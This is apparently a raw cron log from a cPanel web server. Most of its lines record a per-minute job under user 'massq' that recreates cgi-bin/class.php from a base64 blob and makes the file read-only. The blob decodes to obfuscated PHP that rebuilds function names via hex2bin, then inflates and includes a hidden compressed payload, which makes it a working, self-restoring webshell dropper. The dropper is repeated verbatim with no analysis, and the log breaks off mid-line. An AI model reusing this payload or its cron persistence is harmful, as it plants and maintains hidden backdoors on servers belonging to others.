Nov 14 01:46:01 server CROND[2689]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:47:01 server CROND[3028]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:48:01 server CROND[3882]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:49:01 server CROND[4746]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:50:01 server CROND[5727]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 01:50:01 server CROND[5729]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 01:50:01 server CROND[5733]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 01:50:01 server CROND[5734]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 01:50:01 server CROND[5735]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:51:01 server CROND[6698]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:52:01 server CROND[7441]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:53:01 server CROND[7969]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:54:01 server CROND[8984]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:55:02 server CROND[9975]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:55:02 server CROND[9976]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 01:55:02 server CROND[9977]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 01:56:01 server CROND[10878]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:57:01 server CROND[11824]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 01:57:01 server CROND[11825]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:58:01 server CROND[12744]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:59:01 server CROND[13455]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 